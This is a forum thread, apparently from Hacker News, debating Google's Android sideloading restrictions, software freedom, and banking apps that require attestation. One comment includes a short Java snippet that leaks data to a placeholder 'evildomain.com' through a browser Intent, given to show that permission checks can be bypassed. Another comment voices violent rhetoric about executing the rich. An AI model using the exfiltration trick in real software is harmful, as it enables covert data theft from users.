So, people who need can always use linux and can even just compile everything from source.

Can I tweak it? Can I simulate a NN autocomplete?

"Government in EU [which is a very marginal part of the production of electronic devices, wants to implement a "Digital Euro" that requires relying] all our digital infrastructure to the current duopoly in the mobile device market (Apple and Google)[, completely external yet planned crucial part of the forthcoming monetary system]."

<think> They do not sound pretty sound to me. </think>

--

Edit: speak up, snipers (we are in front of a freefall and you play the fool)... I think it is rational in the discourse to show that in malice or stupidity there is a relevant upper level that shows a more radical condition.

The EU is posing towards reliance of «all our digital infrastructure to the current duopoly in the mobile device market (Apple and Google)», which is controlled by third parties.

> We have to keep defending our own freedoms

As always.

> I'm so

Shake it off, because, see point 1, the struggle is the same as it has been even decades ago. Nothing has changed: we fight for it. Only the battles have changed, not the war.

One approach, not ideal by a long shot but one of the easiest, is to only use old devices and old OSes. Things that have been cracked and/or are easy to root.

"But it's not secure!" -- yeah, that really is the point.

> We have to keep defending our own freedoms against non-stop assault until the end of time

That's the human condition. The price of liberty.

However, there are easier ways and harder ways to do it. The key concept to think about is sovereignty. What do you own? What do you control that depends on as few externalities as possible?

The big shift people are going to have to start thinking about is abandoning the network, because the enemies of freedom are increasingly locking it down.

- I own PC hardware that runs Linux. I own a copy of Linux which runs entirely offline. To the extent I get updates to it, they are licensed and distributed in such a manner that it's very hard for the bad guys to mess with them, as Microsoft does with Windows 11.

- I own copies of many media, books, music, movies, TV series, games, these reside as non-DRM'ed bits on my SSD that do not phone home, they don't need the network. I have local copies of software that does not require the network to play them. I have physical copies of these things in some cases.

This is not to say that I never use Netflix, Youtube, Spotify, Steam etc. but I keep them at arm's length and cut back on my usage of them at every opportunity. They are all network tools owned by our enemies, and need to be treated as such.

There really isn't shit they can do to me that would sting, short of cut off the electricity. In the event that the Internet purveyors of slop go Full Evil, and they probably will, I am well equipped.

Now of course the topic of sovereignty is far far bigger than consuming media, and we could get into things like desktop applications or where you interact with your friends as well. But the principles are the same. Go offline.

Freedom is a constant struggle

Yep, there are times when I feel like it is best just to let them win to the point it completely break the bottom of the bucket. Rather than a slow creep, a sudden lurch so that everyone can see it.

We have! The only problem is a very limited amount of legal decisions accidentally paved the way for a massive dystopia. In particular, the first sale doctrine [1] solves everything immediately.

The courts assumed good faith with a licensing exception, and maybe it was. But that opened the door to essentially completely dismantle the first-sale doctrine. Get rid of that loophole and all this stupidity ends, immediately. Well that and the DMCA. Once you buy something, it's yours to do whatever you want to do with it short of replicating it for commercial benefit.

[1] - https://en.wikipedia.org/wiki/First-sale_doctrine

You might be right. We're seeing a paradox of more and more exclusive ownership of property for commercial interests (land, water, airwaves, orbits) and fewer and fewer exclusive ownership for individuals (rented homes, licensed software, subscriptions etc). I too think we're still in a transition stage and humanity has yet to figure this thing out.

The solution certainly won't be through legislative or judicative powers as they have failed predictably and repeatedly. Sometimes reality must be molded a bit of fait accompli.

No - private property is clear.

The question that hasn't fully been worked is how to allow people to think/feel they own something, while having no actual legal rights to it. But, as we see, this is being worked on.

Throwing your hat in the political ring?

Not always. There have been car manufacturers that sold vehicles with features only enabled by a subscription. You may buy a car with heated seats, but the heated seats only work if the manufacturer enables them.

In a legal sense, yes. In a practical and technical sense, no.

The contention point will be whether you purchased the device or not.

This is a ridiculous take.

You didn't write the code for the bios, nor could you.

There's always a degree to which the manufacturer has to.

But I want" secure boot. It makes me* safer.

For the same reason I relock bootloader after flashing alternative Android flavour on my phone.

Sorry, no banking for you then.

> And where software developers have to have a live feed of what every user is doing to Brussels or be arrested.

Please elaborate, with sources.

Sounds like if US citizens hope for that, we can get it.

It's lawyers all the way down :)

No matter what runlevel you’re on, judges are lower still.

https://en.wikipedia.org/wiki/Runlevel

I would agree of there was a choice or actual free market. But there isn't, and your argument is fundamentally flawed. Because there often is no actual choice, the options are artificially restricted. Starting with, many phones cannot be rooted. Then, if you can root, multiple functions are suddenly unavailable, not because of a fundamental technical problem, but because Google, the phone OEM or the app dev decided to not give you the options you wanted.

The Play Store doesn’t protect your grandma from installing malware. Using that as an excuse for transferring control is weak and carries much bigger consequences.

Owner having full control over the device does not prevent a company to offer same benefits and restrictions. But these restrictions need to be optional, so the owner can decide whether to enable or disable them.

Agreed. The store are unnecessary and sold under the guise of "protecting" the user, when it's really about controlling user use, keeping them ignorant and spying on them.

Google does not care if your data is leaked by an app offered by some nebulously defined verified developer that phones home without reason, or that you develop a problem with online gambling or predatory micro transactions, etc. Blows my mind that we have come this far in the fight for user rights, ownership and accountability and still the majority is going to just trust Google because they're Google. No corporation is your friend. Let the users operate the device they paid for* as they see fit, learning to accept the responsibility for for all the success and failures that come with it and we will suddenly start seeing much, much smarter users.

App stores are riddled not only with spyware and malware, but also with harmful content like gambling apps targeted at kids. And they claim some moral high ground as an excuse to ever more pervasive spying and control? Fuck me, Stallman was right all along.

The problem is phones became too important. They get trusted more than desktops for things like banking and ID verification.

Feeling like the optimum solution is to just have two devices. Your phone that has all of your banking, ID, etc. and another device that’s completely open, can install whatever you want on, but doesn’t matter too much if it gets hacked.

The thing is, even if Google has a hidden motive in this case, the prevailing public morality doesn't allow you to argue against a measure designed to protect the weakest and poorest among us. Once a vulnerable group has been invoked, the public stops caring about their rights, the cost-benefit balance and most other rational concerns.

I think the phenomenon is most visible in the United Kingdom. Not just with respect to the recent age verification measures, but also with respect to the government's recent financial misadventures.

> You're buying a disingenuous framing

Of course it's a disingenuous framing. A certain kind of person is both attracted to power and deathly afraid of people voicing unapproved opinions "outside their kitchens".

Things can have multiple justifications, some public, some not: some conscious, some not. Central control and a feeling that a parental figure is in control of the tribe primes, at a primal level, a certain kind of person to like an idea. The specific post-hoc justification is almost incidental.

That said, such things need a semblance of legitimacy to work. It'd be much harder to crack down on general purpose computing under the guise of safety if we had cultural antibodies agains safetyism in general.

It's just not possible to prevent mistakes while letting people color outside the lines. Most brilliant ideas look like stupidity at first. I want to live in a world that biases towards discovery over safety.

If I were in the 0.01%, savings wouldn't be a thing. I wouldn't even need a home. Just go around staying wherever I like for as long as I like doing whatever I want. I wouldn't really care about what google or apple does with their devices, who attacked or defeated whom and all that bs because I wouldn't be in survival mode.

At least this is probably how people in charge of enshittification think like.

The problem is: you never get to have your goals or arguments listened to when you fail to represent yourself as a basic human. That means not putting weird stuff in your mouth on camera, not looking too unkempt, not being too belligerent before you get to your points – and never, never, never discussing the fine differences between ephebophilia and pedophilia on a mailing list.

His point of view and his goals are completely besides the point that he is unfit as a spokesperson for them.

Sadly. Because I agree with him quite a lot, and he does have good arguments.

One can be correct but convince no one, a modern day Cassandra.

I don't think Stallman is an effective spokesperson or campaigner for his own cause, though. Corporate-friendly open source has got enormously popular, to the point where the biggest open source collaboration platform, Github, is owned by Microsoft. Stallman is not troubling them. It's his own side he's driving to irrelevance.

Stallman has mentioned this before that it is a limit of the English language. Thus the use of Libre.

Problem is that many people today do still mistake Free software as no cost and for good reason. Funnily enough, "open sourcesource" turns out to have great SEO. Free software doesn't.

Android is open source. It is not free software. The issue we're discussing right now should make the difference very clear.

If they were really the same, you should flip the question around. You do realize the Open Source folks invented that phrase explicitly to avoid using (and dare I say to undermine) the term Free Software?

Or you go shouting in the beer house every Tuesday about how the failed state is giving away your riches to others and that these communists are ruining the country. You then have your goons go beat up the communists for fun and when you get enough people behind you, you abuse a loop hole in the constitution which causes re-voting over and over again until you win majority power.

No revolutions turn out good for everyone, and there is no solution that fits all. Sometimes the rich and powerful needs to be dragged into the streets and executed, so they are reminded to be scared of the people under them. If they don't fear the population, then they see that there are no consequences for their actions.

I get where you're coming from, but I think you need to understand that the vast majority of people (conservatively maybe >95%) are perfectly fine with using Amazon. If you just start metaphorically punching all of them you won't convince them of anything. I don't think you can really make something socially poisonous that way without a significant group of people, in socially powerful positions, already agreeing with you.

I think you're overestimating how many people think like you on both of these topics (iOS/Android and Amazon).

You're comparing buying stuff from Amazon... to fascism? Your moral compass is a bit extreme.

So now people who use Amazon are the enemy?

But Android is open source. In a way the situation here shows the limits of what is possible just by imposing license requirements that require distribution of source code. The problem is the concentration of power in the provision of services. Even licenses like the AGPL don't really solve the problem here, which is that there is a coalition of businesses including, say, Google and banks, that via their provision of essential services hold worrisome sway over the practical ability of many individuals to live their lives.

Stallman's statements about how the person controlling nonfree software "is your master" are important, but they don't go far enough. The problem is not just the controlling of abstract intellectual property like intellectual property rights to particular software. The problem includes the actual control of how services are provided. When the provision of important services --- be they auth, email, banking, groceries, whatever --- is concentrated in a few hands, those hands become masters of many, regardless of the software licenses involved.

They don't work there any more.

https://www.fsf.org/about/contact/

>As of September 1, 2024, we have gone remote and no longer have an office for people to visit.

IIRC they moved somewhere else in the interim.

It has http links to images that don't display when mixing secure content with insecure is disabled.

> completely spot on with his ideas.

Which ideas? I've read ideas from him that were borderline scandalous. I wouldn't say that 100% of what he ever said was "completely spot on".

Now if we are talking about the subset of his ideas that were completely spot on, then yeah, they are completely spot on :-).

I guess my point is that one can agree with a subset of his ideas and still dislike the guy. And I don't see why those ideas couldn't live without him. Especially if they are completely spot on. I don't get the cult of personality, not only for Stallman.

Cory Doctorow.

He's not an open source advocate as such, but his work on consumer rights and enshittification promotes solutions like using open source software, right to repair and strong consumer protection regulations.

I can understand why some devs would have tried to ignore the writing on the wall for Android over the last few years (hopefully not from now on), but it's especially galling when you see some of them still using the likes of Github and Discord...

People who just ignore big banners will just tell you that "they have been hacked", as if getting hacked is like a weather phenomenon. They won't even connect them getting hacked with the big red banner.

If they even notice, that is. It's just as possible that they play open relay for a year before they move to a new phone because their battery is always dying so fast for some unknown reason.

The end result is people just buy iPhones and perceive them to be more secure.

As someone who is usually careful I too have found myself clicking past warnings and error notifications in recent times, mainly because I want to do something and the software is actively preventing me from doing that. It isn't negligence, it is just wanting to get something done and not having the time or the nerves to carefully read through and think about messages, dialogs, and screens.

Back in the early days of the Internet there was the Joel Spolsky article on why users will always do anything to see the dancing bunnies.

It’s because on the other side of that warning is a cracked version of Spotify that removes the adverts.

The user can’t make an informed choice because it’s literally impossible to audit the safety of the app or the author. So they will click passed any warnings, follow any number of steps to install the app that gives them something desirable for free.

It doesn’t matter what adjectives you apply to them - they do it and they’ll do it again. Most people are not equipped to evaluate the veracity of that statement, and if a few good apps don’t register with Google (that these will exist is the whole reason this move is problematic at all, right?) and ask you to click through on the website or whatever, they’ll get used to touching the stove and not getting burned.

c.f. the Windows “it could be malware” blurb. You basically can’t use any software from a small publisher without clicking through it, even if they pay for the code signing certificate.

The fact that you don't even realise why that wouldn't work is kind of telling.

> users aren't being 'trained' to ignore warnings

Of course they are. Every time they click "continue anyway" and it actually isn't malware (which is 99% of the time) they are being trained that the warning is nonsense.

And they're right! What use is a warning that an app might be malware, if a) it actually isn't almost every time you see the warning, and b) you have no way of telling if it is or isn't anyway?

I hate this move too and I don't think they should have done "just make the warning even bigger!" is obviously dumb.

Have you met a human before? Most will simply click past anything that’s impeding their immediate goal.

Lmao, that is literally how it worked.

Is it possible to install stuff from GitHub on iOS? I thought it was completely impossible on apple devices.

People have no "control" over their own device if they have malware on it. The weirdo incoherent tech-chauvinism of "control" and "freedom" evidenced all over this thread is one of the most obnoxious trends on HN.

Yet you expect them to act in a way that would make them lose money?

If it weren't effective, large businesses and interest ("lobby") groups wouldn't spend millions on trying to establish certain words.

Calling it "sideloading" instead of "installing" software successfully cements the notion that it is somehow not a completely normal thing to do. That's problem solved for the Googles and Apples of the world.

See the history of "jaywalking".

It's usually pushed by people who want to feel "modern" and "proper". It doesn't have any value added, never helped anyone other than people who pushed that.

The curious thing about the word "slave" is that it originates from "slavs" i.e. people living in slavic countries, who were forced to slavery, yet we aren't freaking about that (I'm a slav by myself), it's just a word.

It’s modern tech sycophancy. Meaningless change that serves no one, but the ones pushing it. They get to say they did something to “fight” some sort of inequality when it’s all just performative. Worse, in the examples you gave, it draws attention away from real issues to fight a culture war that was kind of already won years ago.

Apples and oranges. Blacklist→allowlist is 2010s social justice virtue signalling thing. Sideloading→installing is about a word that is scary to normies vs a word that's completely normal and neutral.

See the history of words such as "jaywalking" or "carbon footprint" and how their usage cements the respective ideas.

Direct install isn't true either when you think about package managers like Fdroid, Epic store, etc. They are about as indirect as the official stores. Perhaps you should try 'user loads' for them and something like 'officially blessed loads' for the play and app stores. (I hope the latter is offensive enough to let the users know that it's the corporations in control)

I think of it as manual installation, since I also have to manually update it. The app stores automatically install and update it (they find the appropriate APK for my device, download it, run the installer, and do the equivalent each time a new version is released).

This is a good term, as it avoids the libre/gratis confusion as well.

They tried with the PS/2 MCA architecture, but naturally everyone ignored them.

Nowadays Microsoft could easily do it, they aren't fully into it, because they managed to botch themselves the whole WinRT/UWP and Windows 10X transition, had they made it in a way that most Windows developers would join the party, and the outcome would look much different.

Windows 11 sandboxing already requires MSIX and store distribution to be fully enabled, they only have to slowly keep turning the knobs on Windows 12 in whatever form it shows up, eventually.

How are you going to buy things when you leave home?

In the country I live in, which is a highly online and highly mobile first country, a sizeable minority of businesses no longer accept cash. A few no longer even accept cards.

At these businesses, there is only one way to pay, which is to pull out your phone, and initiate a transaction through your mobile banking app, you scan a QR from the vendor and approve the transfer.

Mobile banking is so ubiquitous that often these businesses don't even have signage outlining their payment policies, or it's tiny and hard to find.

Some banks do not have an online banking website, the only way to access your money and make a payment is to use the Android or iOS app on an unrooted device, or physically go to a branch or ATM.

You go somewhere, you buy, at the end of your meal or whatever they tell you phone only, no card, no cash.

It's prevalent enough that being outside of your home without an unrooted Google or Apple operating system physically on your person is a significant impediment to buying basic things, like a meal.

Apple and Google will, through a variety of technical changes, seek to make this the case in all of the world, and in some countries they'll succeed. So the important question now is: how will it go down in the next 10 years in your country? How far under their control is your society going to fall?

Banking, money and payments. Limiting those in the name of security is how they will get you on everything else.

They will take away cash and cards and there will only be payment apps, on approved secure OSes which you can't "tamper" with (aka install "unauthorized" software like VLC or a Youtube alternative on), or else the payments apps stop working.

They will take away SMS OTP and there will only be TOTP, because it's more secure. Then they will replace the OTP with a facial scan, because it's more secure, people were being social engineered into giving someone those numbers over the phone, etc.

This is all in process. They don't even hide it, they just say it's for security. It is already happening in countries that are highly online and highly phone-centric.

> I can do banking and otp at home with a 100 Euro phone that I use only for that.

That doesn't solve anything, though. If Google revoked your Google account and refused to open a new one, you'd be SOL - you'd either have to buy an iPhone, or move banks until you find one that gives you a physical TOTP (since many just have apps already, but those apps don't run unless downloaded from the Google or Apple stores).

Telegram's clients are open-source, and there's plenty of non-official ones, but for other proprietary messengers you're SOL.

Hard to believe at this point that these messengers used to use open standard protocols, and you could send messages from Google Talk to Facebook once.

> I don't want a huge, thick and heavy brick like every Linux phone I read about

While I understand your point, are you even going to notice after a couple of weeks of daily driving? Let’s not underestimate our ability to get used to things.

Remember how Android used to be an open source project and how we had Google backing AOSP? I think it's time we we maintain the latest fork and just use that instead.

The problem is moves like this will keep happening, since people don’t have much choice. Unless we bring up a societal trend of dumb phones.

> I think if Mozilla could not do it, it seems hard to imagine there is an open source org with more talent and money than Mozilla who can make it work.

I don’t believe that at all. Mozilla has been on a string of awful decisions for a long while. They start dumb projects no one asked for or wants all the time and abandon everything swiftly, even the good ones. Look at Rust and Servo.

Firefox barely lasted two years between release and discontinuation. It never even stood a chance for most people to even have heard of it, let alone be successful.

It's not necessarily that Mozilla could not do it. Just look up Mozilla's revenue sources.

Consumers are interested in everything new.

The problem is - linux (outside on server land and maybe SteamOS) is everything but (regular) user friendly.

When people buy a new phone the expect a smooth experience without any major inconveniences and uniform UI. And apps. Lots of apps. Full of features and mature UI. Linux mostly have none of it.

Users need a new feature or a new power to justify transition. Learning of new OS is not free. Someone should reuse Android UI, but upgrade the OS to full Linux.

It's the mobile hardware drivers (such as for the modems and 5g etc) that likely roadblocks - these hardware manufacturers probably have some sort of OEM agreements, and so cannot opensource these drivers for all devices.

I would wish that mobile devices' specs and hardware drivers are all available, so that i am not dependent on the manufacturer supplying a compatible OS.

That will only work as long as Microsoft feels like ignoring it, and they are already starting with something similar to how netbooks were killed in the end.

Valve will learn the OS/2 lesson, by not fostering a proper native Linux ecosystem.

Sadly that's not always (or won't be soon) an option. I recently had to buy a new phone so that I could run the 'updated' banking app that requires attestation to run — I was running google free Lineage.

Without attestation, banking apps stop working and without a banking app, you are locked out of modern life in many ways.

This latest Google move makes it impossible to run an attested Android without the sideloading limitation. That means that you'll have to choose between GrapheneOS and using your banking app.

I'm sad to say that I've already had to make that choice :-(. I feel that I was coerced into it.

Ah, yes, just use this small project fully dependent on Google and that requires you to buy exclusively Google phones. This is the way.

This is also no long term solution. GrapheneOS can't diverge from Google android to much, otherwise modern apps stop working. And Google will definitely go for alternative roms next.

The thing is that people sideloading good non-malware apps because they want to is also a thing, and all kinds of icky apps that abuse permissions but are still verified and installed through the Play Store are also a thing. This doesn't really change what is a thing. It just moves more stuff under Google's control.

security is the "Save the Children" of technology. It's not that there isn't a theoretical thing there, it's that in the real material sense, the actual actions taken are power grabs for control and suppression.

> Attackers convincing users to side-load malware is a thing.

Sure. It’s also not Google’s problem.

It’s not Victorinox’s problem of someone uses a Swiss Army knife to cut someone else. It’s not Toyota’s problem if someone deliberately runs over a pedestrian.

It'd launch the browser app. You can have your evil page redirect to a benign page so it just looks like Chrome randomly opened or whatever. It is not as powerful as full network access as you can only send so much information in query parameters, but if you are doing some phishing or stealing sms 2fa codes or whatever then it is plenty to send back whatever payload you wanted to.

And of course basically every app requires internet permissions for ordinary behavior. The world where an explicit internet permission would somehow get somebody to look askance at some malware that they were about to download is just not believable.

Google also used to show you which apps used Internet permission in Play Store. But they removed it, which makes it harder to notice which apps don't use it.

Google mostly doesn't let you deny permissions while running apps that require them; recently there's some permissions that you can pick at runtime. So it's not suprising that they don't let you deny this one, when they don't even show it in the store.

You can deny it on Graphene OS.

Even device owner (MDM) apps can't revoke that permission.

Interesting, you can't deny it on stock Android? TIL. You can on LineageOS.

It's available on GrapheneOS btw, when you install a new App it shows a checkbox where you can disable internet access.

Force enabled, more like

> The main thing this permission would be used for would be blocking ads.

This permission has existed for longer than runtime permissions. You have never been able to revoke it, it was just something you agreed to when you installed the app or you didn't install the app.

It was "removed" in that era because if every app requests the same permission, then nobody cares about it anymore. When every app asks for the same thing, users stop paying attention to it. So no, it had fuck all to do with ads because that was never a thing in the first place. And ad blocking doesn't require this permission, either.

> Also distinguishing shitty apps that are full of ads from those that aren't. If there is a calculator that needs Internet and one that doesn't, which one are you going to use?

You can still use it for this. Apps are required to declare the permission still, it's listed on the Play Store under the "permissions" section. Similarly the OS reports the same thing. Presumably F-droid or whatever else also has a list of permissions before you install, and it'll be listed there.

Although Google's own Calculator app requires Internet permission. Take that for what's it worth.

> I've never managed to find even a single PoC bypassing it

Because it is obvious. Just open a web browser.

More details here: https://old.reddit.com/r/androiddev/comments/ci4tdq/were_on_...

> I've heard claims that the Internet permission is flawed, yes, but I've never managed to find even a single PoC bypassing it.

   Uri uri = Uri.parse("https://evildomain.com/upload?data=DATA_GOES_HERE);
   Intent i = new Intent(Intent.ACTION_VIEW, uri);
   startActivity(i);

There's plenty of actually problematic stuff Google does (like this change in the article), there's no need to make up whack ass conspiracy theories, too.

I'm also completely open to this. Google just made being not Google-certified a feature.

Just a note for readers that the Jolla C2 cellular modem only supports European bands, so if you're in the US you're out of luck on that front until they release a new model.

Yes, I was checking this out! Sailfish with Android compat seems very compelling. The videos I saw on youtube showed a bit less polish than I'd prefer, but I'd be OK with that. But then I read up on the manufacturer they partnered with. Reeder, I believe? I ended up looking up some other devices they made and there seems to be build quality problems...I haven't seen reports like this for the Jolla C2, though, so I still might be tempted to purchase one just to see how it drives. Thanks for the recommendation!

I used it as my first phone some 10 years. I type this message on one. I like their perseverance, but the truth is it's declining in practical usability.

Edit: In EU, so (lack of) bands are not an issue for me.

Also the device vendors. Because it requires a bootloader unlock to install. And device vendors aren't exactly friendly to consumers.

If Google tells the vendors to jump, they ask how high.

A recent real life example:

You can apply for an HSBC Global Money Account if you have: […] The HSBC UK Mobile Banking app (Global Money is only available via the app)

From https://www.hsbc.co.uk/current-accounts/products/global-mone...

most banks require 2FA or similar to confirm logins and operations. There is no way around it, this is the world we are heading towards: 2 companies in the entire planet decide who and what can be done online.

This happened to me recently in Austria, I had to get a new phone to be able to do internet banking. You can only use the app with attestation from the PlayStore, AppStore or surprisingly Huawai store.

When I complained repeately that this was forcing me into an American or Chinese ecosystem, they said that no one cares and I'm a minority :-(.

For the desktop, you need the phone for the 2FA.

It's already that way in my country. The few banks that still have the web version only support it for their business clients, and it's only something like two or three banks. If you're a regular client, there's not a single bank left that you can still use without a smartphone (unless you're ready to visit a branch for every little thing — so pretty much daily).

I think they worded that poorly, but didn't mean what you got from it: the point I'd take isn't that they will require you to have a desktop, but that even desktop will also have the same restrictions, so it isn't just a mobile problem.

What gp is saying is that to access banking form desktop will require an approved OS and attestation just like on mobile. The current state of affairs is that an approved OS and attestation are only required on mobile but not on desktop

> can only be installed in one device at the same time

I neither like nor understand this restriction. It makes device failure / loss / theft a much more difficult experience to recover from than it would otherwise be. The device should be throwaway. I specifically keep old phones in case something happens to the new one.

WhatsApp is probably the stupidest example of only being able to be on a single device (but I'm forced to use WhatsApp for one specific purpose, so I already resent it). Signal does the same thing, so maybe it's related to the E2EE that WhatsApp licensed from Signal...

I have a huge problem with companies using their own apps for 2FA.

Google started doing this for Gmail. To use Gmail on my laptop, I need to approve it with Gmail on my phone. I never signed up for this. I’m now afraid if I delete the Gmail app from my phone that I’ll lose access to my email.

I hate the direction “security” is taking us. It’s done in the name of security, but it feels more like blackmail to get and keep the company app on your phone.

Not true for either my AIB or Wise account.

Controllable by whom? I don't do any banking on my phone exactly because I don't trust my phone to keep anything I do on my phone private.

The way that it works is that most of the people there are not concerned with the topic, and if they are, they will be willingly gaslit into the official excuse which is provided to us, too. It being that it will greatly improve the security for the common folk.

The mechanisms are just the same as political discourse on other topics currently in UK, just much worse, because people's livelihoods actually depend on that.

Get rid of those pesky open source guys, keep the merchants who want $$$ and can pay $ to Google.

They are namespacing, like it or not, and clearly they don't care about open-source that much.

It limits choice. I don’t have any experience building mobile apps because I didn’t want to buy into an unfair ecosystem. That means fewer mobile apps even if distribution networks change tomorrow.

> There's no law against a more democratic way to implement the broker either but it requires interesting methods of coordination and/or decision making that doesn't seem to exist yet?

It's not enough to not have a law against it, we need to have and enforce laws requiring it.

Oh! Classic Survivorship bias. You're only looking at the devs who went into business in the phone ecosystem in the first place. I'm thinking that they're there despite the barriers to entry ('shenanigans'), and the ones you encounter happen to be those who happen to place a higher value on 'other values'. As the ecosystem gets locked down more, this effect becomes stronger.

Meanwhile, you're not looking at those who left, or those who decided to never enter a broken market dominated by players convicted of monopolistic practices.

This seems much more intuitive than a hypothesis where somehow people would prefer to enter a closed market over a fair and open market with no barriers to entry.

Remember, monopolists succeed because they are distorting the market, not because they are in fact the most efficient competitor.

* https://en.wikipedia.org/wiki/Survivorship_bias

I have been a computer user, developer and a system administrator for longer than I care to recount. I don't like Windows and I don't use it at work or home. But I do encounter it from time to time, and the experience is worse each time. The last time it happened, I couldn't figure out the way to skip/bypass the cloud account set up. Would it have been possible if I tried harder, starting with a web search? Perhaps. But there is no way an average system user is going to have the patience or often the skill necessary to do it. I'm not challenging their intelligence. But people have other priorities than to jump through a dozen hoops just to preserve privacy. I would do the same if I had to set up a Windows system for urgent work.

These sorts of hurdles exist to push more and more users to their favorite workflow until the dissenting voice is too feeble to notice when they finally pull the plug on the straightforward method. The intent is certainly there, since they are quite evidently boiling the frog. Just wait for the fine day when you wake up in the morning to see an HN story just like this one about Windows login as well.

Last I checked, Microsoft was trying to get rid of it.

https://www.tomshardware.com/software/windows/microsoft-elim...

It's still possible to set up using only a local account, but who knows for how long.

A stepping stone on a path.

Have a login. Pin features to a login. Mandate a login but w/ backdoor. Close the back door. "It's a backdoor, why not use the front door?"

For now. History has shown that workarounds for defaults tend to stop working at some point.

Personally: the idea that a "slippery slope" is a logical fallacy has always seemed like bulllshit to me. The vast majority of reasoning for why the judiciary makes the decisions it does is because of "precedent". Slippery slope is how the world operates. It surfaces everywhere, and when the slope we're sliding down matters, like this one, we have to fight back with fervor. Google isn't doing this in a vacuum; they're doing this because there's precedent for it, and because all they want is to assert more power over the world.

Google's behavior is utterly and entirely disgusting, unacceptable, despicable, and dishonorable. Everyone who even glances near this decision should feel overwhelming shame. If you have a shred of political power to fight this internally, you are a failure to yourself, your customers, and the world if you choose to stay silent. They'll read comments like these and think "we're right, we're being brave", because they have convinced themselves that there is bravery in wielding overwhelming power against their users.

It takes less time to search and find that Anatel is the Brazilian telecom agency than it does to type that comment.

They do marvellous things like mandate weird Brazilian Android games on the phone I bought in Brazil.

When I google ANATEL, it comes up as Brazil

And go where? IOS is worse as far as openness and controlling your own hardware. And the Linux phones are not exactly practical for normal use.

I rely on fdroid and am not sure what I'll do with this pixel 6a. I sometimes root, sometimes don't but I may have to get on the lineageos program full time. And I'm hoping for a rumored last batch of pinephone pro phones to be available later this month although I have no illusions about it being a real daily driver.

Ditch Google for what?

It may also help to push things one way to prevent them from going the other way.

There could of course be side effects in the future when this restriction is rolled out, as in your device's Play Integrity status could be affected and your banking app/phone wallet might not let you perform app-based payments from that device.

> No idea, whoever they are they're still well compensated and can afford some resistance

Claiming that people you've never met are sufficiently financially secure to risk their livelihood for your protest movement is the kind of hubris I hope to never have.

> computing is built on a history of openness and interoperability

There was nothing inevitable about this, and while it is the superior engineering choice, that's not how decisions are made. Open standards and protocols only gained industry support because those industry players were trying to commoditise their complements, and open standards were the only way to achieve that. There are plenty of players in the industry who work under the monolithic closed-source model, but we 'cool kids' never hear about them, because they only talk to massive businesses with procurement departments.

I know the situation in Singapore and Thailand and I was curious if there would be anyone mentioning it in this discussion. Thank you for your comment, you should be upvoted.

All of those links 404s for me. Can you explain how the malware works? You are aware that it's not the app store that protects you, but the sandboxing? Are these impersonation vectors, ie phishing?

When governments across the globe are becoming more authoritarian, we need to protect our ability to run whatever app we want. Otherwise they'll ban communication apps when we step out of line and protest, as we've seen in places like Hong Kong on more locked down platforms like iOS. This isn't about power users. It doesn't matter how many links you post. The US is literally turning into an authoritarian dictatorship before our eyes. Germany's AfD now commands 25% of the vote and it keeps increasing. Far right parties are gaining ground everywhere.

We can't be handwringing about safety right now, because our right to free speech and to protest are at stake. Our democracies are at stake here.

For those watching this stuff, there are two other promising paths using ZK-proofs which might disarm the tradeoff situation we've been stuck in. Banking apps etc aren't willing to eat the liability of devices that are rooted or running alternate OSes, and Google's been banking on the exclusivity that brings from being both hardware and security provider.

Path 1: a ZK-proof attestation certificate marketplace implemented by GrapheneOS (or similar) to prove safety in a privacy-securing way enough for 3rd party liability insurance markets to buy in. Banks etc can be indifferent, and wouldn't ignore the market if it got big enough. This would mean we could root any device with aggressive hacking and then apologize for it with ZK-proof certs that prove it's still in good hands - and banking apps don't need to care. No need for hard chains of custody like the Google security model.

Path 2: Don't even worry too hard about 3rd party devices or full OSes, we just need to make the option viable enough to shame Google into adopting the same ZK certificate schemes defensively. If they're reading all user data through ZK-proof certs instead of just downloading EVERYTHING then they're significantly neutered as a Big Brother force and for once we're able to actually trust them. They'd still have app marketplace centrality, but if and when phones are being subdivided with ZK-proof security it would make 3rd party monitoring of the dynamics of how those decisions get made very public (we'd see the same things google sees), so we could similarly shame them via alternatives into adopting reasonable default behaviors. Similar to Linux/Windows - Windows woulda been a lot more evil without the alternative next door.

Longer discussion (opinion not sourced from AI though): https://chatgpt.com/share/68ad1084-eb74-8003-8f10-ca324b5ea8...

All of my bank apps work fine on graphene. I'd switch banks if their app stopped working, not stop using graphene. I stopped using Google wallet, I don't miss it enough to justify using stock android. For other apps, I just put them in a separate profile that has good play installed/configured. It really wasn't bad. The worst part is wiping your phone to install graphene the first time, I prefer just to get a new device for it so I can move stuff over

I've never done it but

"Many other devices are supported by GrapheneOS at a source level, and it can be built for them without modifications to the existing GrapheneOS source tree."

https://grapheneos.org/faq#supported-devices

My banking app works fine on GrapheneOS. There is a crowd-sourced list here with current status for many of them: https://privsec.dev/posts/android/banking-applications-compa...

I love how so many of the responses in this thread are "it works for my particular bank" or "my bank's website is good enough" or "I'd only need it to deposit checks, but I never need to do that"... as if those are actually helpful responses to this general problem.

Many many people have banking apps that will not work on non-Google-blessed devices, use banks that have mobile websites that are terrible, and need to do mobile check deposits (which is usually only available in the app, and not the mobile website, if the bank even has one). And no, we're not going to "change our bank".

The reality is that there are so many things that break, sometimes in subtle ways, when you try to use an alternative Android OS. Some people may not have any problems, and that's great! But many -- I would dare to say most -- will.

And there's also a ton of uncertainty: I don't really want to wipe my phone, install GrapheneOS, spend hours messing with it and setting it up, only to find that something critical doesn't work, and now I have to flash back to the stock OS, and hope I can restore everything the way it was.

Most banking app work, either directly or with a settings change to allow Google Play Service emulation. [1]

[1] https://grapheneos.org/usage#banking-apps

A web browser in the worst case scenario. The same way you'd do it on a computer.

Second phone for all official business apps, banking, etc. Never leaves home and it's used only for this purpose

What's wrong with their web apps? The only real shortcoming I can think of is depositing checks digitally but I haven't had to do that in years.

As a GrapheneOS user, the way I access my banking app is by downloading it from the Google Play store just like everyone else.

Is that a jab at grapheneOS ? Because thats just another thing that google is borking up. And a little bit more so the banks themselves.

GrapheneOS is the way that all phone operating systems SHOULD be made. Layers and segregation between your banking apps and all the privacy breaking trash and malware you can get off the app store.

It is the banks and google making weird rootkit shit to try and lock down things that is the problem here.

My credit union app already wants 24x7 GPS tracking of my location and full access to my camera at all times and full access to my collection of photos, so the app is already dead to me anyway. Demanding that I use it on a locked down device isn't going to change anything for me, I'm already actively not using it. I use the website on a desktop, I rarely need to access my CU at all much less access it remotely. Given the large amount of battery and bandwidth already used to track my every move, I wish there was something like "Docker for phones" where I could enable and disable 24x7 full access to my every action IRL.

Uh, my bank has a pretty good mobile website, personally.

